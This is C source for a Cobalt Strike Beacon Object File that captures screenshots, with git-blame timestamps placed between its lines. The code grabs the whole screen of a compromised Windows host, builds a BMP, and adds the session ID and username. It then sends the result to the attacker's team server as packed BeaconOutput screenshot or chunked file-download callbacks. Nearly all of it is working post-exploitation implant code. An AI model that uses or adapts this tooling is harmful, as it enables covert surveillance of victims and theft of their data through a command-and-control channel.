2022-10-23 01:58:24 -07:00
# include <windows.h>
# include <stdio.h>
# include "bofdefs.h"
2022-10-23 10:04:20 -07:00
2022-10-23 01:58:24 -07:00
# pragma comment(lib, "User32.lib")
# pragma comment(lib, "Gdi32.lib")
2022-10-26 14:01:17 -07:00
/*Download Screenshot*/
2022-10-28 14:27:48 -07:00
void downloadScreenshot ( char * jpg , int jpgLen , int session , char * windowTitle , int titleLen , char * username , int usernameLen ) {
2022-10-26 14:01:17 -07:00
// Function modified by @BinaryFaultline
// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs
// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me.
// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) {
// bw.Write(session);
// bw.Write(title.Length);
// bw.Write(Encoding.UTF8.GetBytes(title));
// bw.Write(userName.Length);
// bw.Write(Encoding.UTF8.GetBytes(userName));
// }
// var screenshotCallback = new BinaryWriter(new MemoryStream());
// screenshotCallback.Write(jpgData.Length);
// screenshotCallback.Write(jpgData);
// WriteSessionUserNameTitle(screenshotCallback, session, userName, title);
int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen ;
2022-10-25 09:28:47 -07:00
char * packedData = ( char * ) MSVCRT $ malloc ( messageLength ) ;
2022-10-26 14:01:17 -07:00
// //pack on jpgLen/fileSize as 4-byte int second
packedData [ 0 ] = jpgLen & 0xFF ;
packedData [ 1 ] = ( jpgLen > > 8 ) & 0xFF ;
packedData [ 2 ] = ( jpgLen > > 16 ) & 0xFF ;
packedData [ 3 ] = ( jpgLen > > 24 ) & 0xFF ;
2022-10-25 09:28:47 -07:00
2022-10-26 14:01:17 -07:00
int packedIndex = 4 ;
2022-10-25 09:28:47 -07:00
2022-10-26 14:01:17 -07:00
// //pack on the bytes of jpg/returnData
for ( int i = 0 ; i < jpgLen ; i + + ) {
packedData [ packedIndex ] = jpg [ i ] ;
2022-10-25 09:28:47 -07:00
packedIndex + + ;
}
2022-10-26 14:01:17 -07:00
//pack on session as 4-byte int first
packedData [ packedIndex ] = session & 0xFF ;
packedData [ packedIndex + 1 ] = ( session > > 8 ) & 0xFF ;
packedData [ packedIndex + 2 ] = ( session > > 16 ) & 0xFF ;
packedData [ packedIndex + 3 ] = ( session > > 24 ) & 0xFF ;
//pack on titleLength as 4-byte int second
packedData [ packedIndex + 4 ] = titleLen & 0xFF ;
packedData [ packedIndex + 5 ] = ( titleLen > > 8 ) & 0xFF ;
packedData [ packedIndex + 6 ] = ( titleLen > > 16 ) & 0xFF ;
packedData [ packedIndex + 7 ] = ( titleLen > > 24 ) & 0xFF ;
packedIndex + = 8 ;
2022-10-25 09:28:47 -07:00
2022-10-26 14:01:17 -07:00
//pack on the bytes of title
for ( int i = 0 ; i < titleLen ; i + + ) {
packedData [ packedIndex ] = windowTitle [ i ] ;
packedIndex + + ;
2022-10-25 09:28:47 -07:00
}
2022-10-26 14:01:17 -07:00
//pack on userLength as 4-byte int second
packedData [ packedIndex ] = usernameLen & 0xFF ;
packedData [ packedIndex + 1 ] = ( usernameLen > > 8 ) & 0xFF ;
packedData [ packedIndex + 2 ] = ( usernameLen > > 16 ) & 0xFF ;
packedData [ packedIndex + 3 ] = ( usernameLen > > 24 ) & 0xFF ;
packedIndex + = 4 ;
2022-10-25 09:28:47 -07:00
2022-10-26 14:01:17 -07:00
//pack on the bytes of user
for ( int i = 0 ; i < usernameLen ; i + + ) {
packedData [ packedIndex ] = username [ i ] ;
packedIndex + + ;
}
2022-10-25 09:28:47 -07:00
2022-10-26 14:01:17 -07:00
BeaconOutput ( CALLBACK_SCREENSHOT , packedData , messageLength ) ;
2022-10-25 09:28:47 -07:00
return ;
}
2022-10-23 01:58:24 -07:00
2022-10-28 14:27:48 -07:00
void downloadFile ( char * fileName , int downloadFileNameLength , char * returnData , int fileSize ) {
//Intializes random number generator to create fileId
time_t t ;
MSVCRT $ srand ( ( unsigned ) MSVCRT $ time ( & t ) ) ;
int fileId = MSVCRT $ rand ( ) ;
//8 bytes for fileId and fileSize
int messageLength = downloadFileNameLength + 8 ;
char * packedData = ( char * ) MSVCRT $ malloc ( messageLength ) ;
//pack on fileId as 4-byte int first
packedData [ 0 ] = ( fileId > > 24 ) & 0xFF ;
packedData [ 1 ] = ( fileId > > 16 ) & 0xFF ;
packedData [ 2 ] = ( fileId > > 8 ) & 0xFF ;
packedData [ 3 ] = fileId & 0xFF ;
//pack on fileSize as 4-byte int second
packedData [ 4 ] = ( fileSize > > 24 ) & 0xFF ;
packedData [ 5 ] = ( fileSize > > 16 ) & 0xFF ;
packedData [ 6 ] = ( fileSize > > 8 ) & 0xFF ;
packedData [ 7 ] = fileSize & 0xFF ;
int packedIndex = 8 ;
//pack on the file name last
for ( int i = 0 ; i < downloadFileNameLength ; i + + ) {
packedData [ packedIndex ] = fileName [ i ] ;
packedIndex + + ;
}
BeaconOutput ( CALLBACK_FILE , packedData , messageLength ) ;
if ( fileSize > ( 1024 * 900 ) ) {
//Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk)
int numOfChunks = ( fileSize / ( 1024 * 900 ) ) + 1 ;
int index = 0 ;
int chunkSize = 1024 * 900 ;
while ( index < fileSize ) {
if ( fileSize - index > chunkSize ) { //We have plenty of room, grab the chunk and move on
/*First 4 are the fileId
then account for length of file
then a byte for the good - measure null byte to be included
then lastly is the 4 - byte int of the fileSize */
int chunkLength = 4 + chunkSize ;
char * packedChunk = ( char * ) MSVCRT $ malloc ( chunkLength ) ;
//pack on fileId as 4-byte int first
packedChunk [ 0 ] = ( fileId > > 24 ) & 0xFF ;
packedChunk [ 1 ] = ( fileId > > 16 ) & 0xFF ;
packedChunk [ 2 ] = ( fileId > > 8 ) & 0xFF ;
packedChunk [ 3 ] = fileId & 0xFF ;
int chunkIndex = 4 ;
//pack on the file name last
for ( int i = index ; i < index + chunkSize ; i + + ) {
packedChunk [ chunkIndex ] = returnData [ i ] ;
chunkIndex + + ;
}
BeaconOutput ( CALLBACK_FILE_WRITE , packedChunk , chunkLength ) ;
}
else { //This chunk is smaller than the chunkSize, so we have to be careful with our measurements
int lastChunkLength = fileSize - index + 4 ;
char * lastChunk = ( char * ) MSVCRT $ malloc ( lastChunkLength ) ;
//pack on fileId as 4-byte int first
lastChunk [ 0 ] = ( fileId > > 24 ) & 0xFF ;
lastChunk [ 1 ] = ( fileId > > 16 ) & 0xFF ;
lastChunk [ 2 ] = ( fileId > > 8 ) & 0xFF ;
lastChunk [ 3 ] = fileId & 0xFF ;
int lastChunkIndex = 4 ;
//pack on the file name last
for ( int i = index ; i < fileSize ; i + + ) {
lastChunk [ lastChunkIndex ] = returnData [ i ] ;
lastChunkIndex + + ;
}
BeaconOutput ( CALLBACK_FILE_WRITE , lastChunk , lastChunkLength ) ;
}
index = index + chunkSize ;
}
}
else {
/*first 4 are the fileId
then account for length of file
then a byte for the good - measure null byte to be included
then lastly is the 4 - byte int of the fileSize */
int chunkLength = 4 + fileSize ;
char * packedChunk = ( char * ) MSVCRT $ malloc ( chunkLength ) ;
//pack on fileId as 4-byte int first
packedChunk [ 0 ] = ( fileId > > 24 ) & 0xFF ;
packedChunk [ 1 ] = ( fileId > > 16 ) & 0xFF ;
packedChunk [ 2 ] = ( fileId > > 8 ) & 0xFF ;
packedChunk [ 3 ] = fileId & 0xFF ;
int chunkIndex = 4 ;
//pack on the file name last
for ( int i = 0 ; i < fileSize ; i + + ) {
packedChunk [ chunkIndex ] = returnData [ i ] ;
chunkIndex + + ;
}
BeaconOutput ( CALLBACK_FILE_WRITE , packedChunk , chunkLength ) ;
}
//We need to tell the teamserver that we are done writing to this fileId
char packedClose [ 4 ] ;
//pack on fileId as 4-byte int first
packedClose [ 0 ] = ( fileId > > 24 ) & 0xFF ;
packedClose [ 1 ] = ( fileId > > 16 ) & 0xFF ;
packedClose [ 2 ] = ( fileId > > 8 ) & 0xFF ;
packedClose [ 3 ] = fileId & 0xFF ;
BeaconOutput ( CALLBACK_FILE_CLOSE , packedClose , 4 ) ;
return ;
}
2022-10-23 01:58:24 -07:00
# pragma region error_handling
# define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error ( char * func , int line , char * msg , HRESULT hr ) {
# ifdef BOF
BeaconPrintf ( CALLBACK_ERROR , " (%s at %d): %s 0x%08lx " , func , line , msg , hr ) ;
# else
printf ( " [-] (%s at %d): %s 0x%08lx " , func , line , msg , hr ) ;
# endif // BOF
return FALSE ;
}
# pragma endregion
2022-10-28 14:27:48 -07:00
BOOL SaveHBITMAPToFile ( HBITMAP hBitmap , int getOnlyProfile )
2022-10-23 01:58:24 -07:00
{
HDC hDC ;
int iBits ;
WORD wBitCount ;
DWORD dwPaletteSize = 0 , dwBmBitsSize = 0 , dwDIBSize = 0 , dwWritten = 0 ;
BITMAP Bitmap0 ;
BITMAPFILEHEADER bmfHdr ;
BITMAPINFOHEADER bi ;
LPBITMAPINFOHEADER lpbi ;
HANDLE fh , hDib , hPal , hOldPal2 = NULL ;
hDC = CreateDC ( TEXT ( " DISPLAY " ) , NULL , NULL , NULL ) ;
iBits = GetDeviceCaps ( hDC , BITSPIXEL ) * GetDeviceCaps ( hDC , PLANES ) ;
DeleteDC ( hDC ) ;
if ( iBits < = 1 )
wBitCount = 1 ;
else if ( iBits < = 4 )
wBitCount = 4 ;
else if ( iBits < = 8 )
wBitCount = 8 ;
else
wBitCount = 24 ;
GetObject ( hBitmap , sizeof ( Bitmap0 ) , ( LPSTR ) & Bitmap0 ) ;
bi . biSize = sizeof ( BITMAPINFOHEADER ) ;
bi . biWidth = Bitmap0 . bmWidth ;
2022-10-28 14:27:48 -07:00
bi . biHeight = - Bitmap0 . bmHeight ;
2022-10-23 01:58:24 -07:00
bi . biPlanes = 1 ;
bi . biBitCount = wBitCount ;
bi . biCompression = BI_RGB ;
bi . biSizeImage = 0 ;
bi . biXPelsPerMeter = 0 ;
bi . biYPelsPerMeter = 0 ;
bi . biClrImportant = 0 ;
bi . biClrUsed = 256 ;
dwBmBitsSize = ( ( Bitmap0 . bmWidth * wBitCount + 31 ) & ~ 31 ) / 8
* Bitmap0 . bmHeight ;
hDib = GlobalAlloc ( GHND , dwBmBitsSize + dwPaletteSize + sizeof ( BITMAPINFOHEADER ) ) ;
lpbi = ( LPBITMAPINFOHEADER ) GlobalLock ( hDib ) ;
* lpbi = bi ;
hPal = GetStockObject ( DEFAULT_PALETTE ) ;
if ( hPal )
{
hDC = GetDC ( NULL ) ;
hOldPal2 = SelectPalette ( hDC , ( HPALETTE ) hPal , FALSE ) ;
RealizePalette ( hDC ) ;
}
GetDIBits ( hDC , hBitmap , 0 , ( UINT ) Bitmap0 . bmHeight , ( LPSTR ) lpbi + sizeof ( BITMAPINFOHEADER )
+ dwPaletteSize , ( BITMAPINFO * ) lpbi , DIB_RGB_COLORS ) ;
if ( hOldPal2 )
{
SelectPalette ( hDC , ( HPALETTE ) hOldPal2 , TRUE ) ;
RealizePalette ( hDC ) ;
ReleaseDC ( NULL , hDC ) ;
}
2022-10-25 09:28:47 -07:00
//fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
2022-10-23 01:58:24 -07:00
2022-10-25 09:28:47 -07:00
//if (fh == INVALID_HANDLE_VALUE)
// return FALSE;
2022-10-23 01:58:24 -07:00
bmfHdr . bfType = 0x4D42 ; // "BM"
dwDIBSize = sizeof ( BITMAPFILEHEADER ) + sizeof ( BITMAPINFOHEADER ) + dwPaletteSize + dwBmBitsSize ;
bmfHdr . bfSize = dwDIBSize ;
bmfHdr . bfReserved1 = 0 ;
bmfHdr . bfReserved2 = 0 ;
bmfHdr . bfOffBits = ( DWORD ) sizeof ( BITMAPFILEHEADER ) + ( DWORD ) sizeof ( BITMAPINFOHEADER ) + dwPaletteSize ;
2022-10-28 14:27:48 -07:00
void * bmpdata = malloc ( sizeof ( BITMAPFILEHEADER ) + dwDIBSize ) ;
2022-10-25 09:28:47 -07:00
memcpy ( bmpdata , & bmfHdr , sizeof ( BITMAPFILEHEADER ) ) ;
2022-10-28 14:27:48 -07:00
memcpy ( ( ( char * ) bmpdata ) + sizeof ( BITMAPFILEHEADER ) , lpbi , dwDIBSize ) ;
2022-10-25 09:28:47 -07:00
2022-10-26 14:01:17 -07:00
// The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those
// Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded
DWORD session = - 1 ;
KERNEL32 $ ProcessIdToSessionId ( KERNEL32 $ GetCurrentProcessId ( ) , & session ) ;
char * user ;
user = ( char * ) getenv ( " USERNAME " ) ;
2022-10-28 14:27:48 -07:00
char title [ ] = " Right-click this and \" Render BMP \" to view " ;
char fileName [ ] = " ScreenshotBOF - Downloaded BMP.bmp " ;
2022-10-26 14:01:17 -07:00
int userLength = MSVCRT $ _snprintf ( NULL , 0 , " %s " , user ) ;
int titleLength = MSVCRT $ _snprintf ( NULL , 0 , " %s " , title ) ;
2022-10-28 14:27:48 -07:00
int fileNameLength = MSVCRT $ _snprintf ( NULL , 0 , " %s " , fileName ) ;
2022-10-23 01:58:24 -07:00
2022-10-28 14:27:48 -07:00
// If the profile is get-only (termination in post client is URI based), download it as a screenshot, otherwise, download it as a file
if ( getOnlyProfile > 0 ) {
BeaconPrintf ( 0x0 , " [+] URI post profile detected. Saving bitmap screenshot to Screenshots tab. Note, this takes a little while... " ) ;
downloadScreenshot ( ( char * ) bmpdata , sizeof ( BITMAPFILEHEADER ) + dwDIBSize , session , ( char * ) title , titleLength , ( char * ) user , userLength ) ;
} else {
BeaconPrintf ( 0x0 , " [+] Post body profile detected. Saving bitmap screenshot to Downloads tab... " ) ;
downloadFile ( ( char * ) fileName , fileNameLength , ( char * ) bmpdata , sizeof ( BITMAPFILEHEADER ) + dwDIBSize ) ;
}
//downloadScreenshot((char *)bmp_bmp, bmp_bmp_len, session,(char*)title, titleLength, (char*)user, userLength);
2022-10-25 09:28:47 -07:00
//WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
2022-10-23 01:58:24 -07:00
2022-10-25 09:28:47 -07:00
/* clean up */
2022-10-23 01:58:24 -07:00
GlobalUnlock ( hDib ) ;
GlobalFree ( hDib ) ;
2022-10-25 09:28:47 -07:00
//CloseHandle(fh);
2022-10-23 01:58:24 -07:00
return TRUE ;
}
# ifdef BOF
void go ( char * buff , int len ) {
2022-10-25 09:28:47 -07:00
datap parser ;
2022-10-28 14:27:48 -07:00
int getOnlyProfile ;
BeaconDataParse ( & parser , buff , len ) ;
getOnlyProfile = BeaconDataInt ( & parser ) ;
2022-10-23 01:58:24 -07:00
int x1 , y1 , x2 , y2 , w , h ;
// get screen dimensions
x1 = GetSystemMetrics ( SM_XVIRTUALSCREEN ) ;
y1 = GetSystemMetrics ( SM_YVIRTUALSCREEN ) ;
x2 = GetSystemMetrics ( SM_CXVIRTUALSCREEN ) ;
y2 = GetSystemMetrics ( SM_CYVIRTUALSCREEN ) ;
w = x2 - x1 ;
h = y2 - y1 ;
// copy screen to bitmap
HDC hScreen = GetDC ( NULL ) ;
HDC hDC = CreateCompatibleDC ( hScreen ) ;
HBITMAP hBitmap = CreateCompatibleBitmap ( hScreen , w , h ) ;
HGDIOBJ old_obj = SelectObject ( hDC , hBitmap ) ;
BOOL bRet = BitBlt ( hDC , 0 , 0 , w , h , hScreen , x1 , y1 , SRCCOPY ) ;
//I was going to pull from the clipboard but then realized it
//was more trouble than it was worth, so I just saved it to a file. ~ CodeX
2022-10-23 10:04:20 -07:00
/*
2022-10-23 01:58:24 -07:00
// save bitmap to clipboard
OpenClipboard ( NULL ) ;
EmptyClipboard ( ) ;
SetClipboardData ( CF_BITMAP , hBitmap ) ;
CloseClipboard ( ) ;
2022-10-23 10:04:20 -07:00
*/
2022-10-23 01:58:24 -07:00
2022-10-28 14:27:48 -07:00
SaveHBITMAPToFile ( hBitmap , getOnlyProfile ) ;
BeaconPrintf ( 0x0 , " [+] Screenshot downloaded... " ) ;
2022-10-23 01:58:24 -07:00
// clean up
SelectObject ( hDC , old_obj ) ;
DeleteDC ( hDC ) ;
ReleaseDC ( NULL , hScreen ) ;
DeleteObject ( hBitmap ) ;
}
# else
void main ( int argc , char * argv [ ] ) {
}
# endif